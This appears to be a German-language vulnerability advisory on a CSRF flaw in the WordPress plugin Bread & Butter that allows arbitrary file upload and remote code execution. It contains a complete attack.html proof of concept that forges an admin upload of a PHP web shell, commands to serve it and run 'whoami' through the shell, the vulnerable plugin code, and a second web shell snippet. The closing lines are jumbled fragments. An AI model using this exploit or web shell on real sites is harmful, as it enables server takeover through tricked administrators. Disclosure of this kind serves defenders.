
Bread & Butter: Inhalte gaten + Leads erfassen + First-Party-Daten sammeln + mit KI-Agenten pflegen <= 7.10.1321 - Cross-Site Request Forgery zu beliebigem Datei-Upload
Das Plugin Bread & Butter IO enthält eine Schwachstelle in seiner Bild-Upload-Funktion, die es jedem Angreifer ermöglicht, authentifizierte Administratoren dazu zu verleiten, beliebige Dateien auf den Server hochzuladen, einschließlich PHP-Webshells, was zu Remote Code Execution (RCE) führt. Die Schwachstelle rührt daher, dass der Funktion uploadImage() der CSRF-Schutz fehlt, sodass Angreifer bösartige Anfragen erstellen können, die die Browser der Administratoren automatisch ausführen.
Die Schwachstelle befindet sich in der Funktion uploadImage() in /bread-butter/src/Base/Ajax.php, der eine ordnungsgemäße Dateivalidierung und der CSRF-Schutz fehlen, während mit file_put_contents() Dateien direkt in das WordPress-Uploads-Verzeichnis geschrieben werden, bevor irgendwelche Sicherheitsprüfungen stattfinden.
Hier ist das einfache attack.html:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
Für einen POC können Sie es lokal etwa so ausführen:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
Sobald das Opfer in seinem Browser als Administrator angemeldet ist, führt das Klicken auf den Link zu RCE.
Die Schwachstelle befindet sich in der Funktion uploadImage() in Zeile 411 von /bread-butter/src/Base/Ajax.php:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
Die verwundbare Funktion wird in Zeile 95 als WordPress-AJAX-Handler registriert:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
Dabei wird self::$uploadImage in Zeile 37 als upload_image definiert.
Die einzige Sicherheitskontrolle ist die Methode checkAdmin() in Zeilen 166–171:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
Das Fehlen des CSRF-Schutzes macht diese Schwachstelle über Cross-Site-Request-Forgery-Angriffe ausnutzbar. Der POC attack.html demonstriert dies, indem er:
target="_blank" verwendet, um CORS-Beschränkungen zu umgehenattack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami zu/wp-admin/admin-ajax.php<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php zu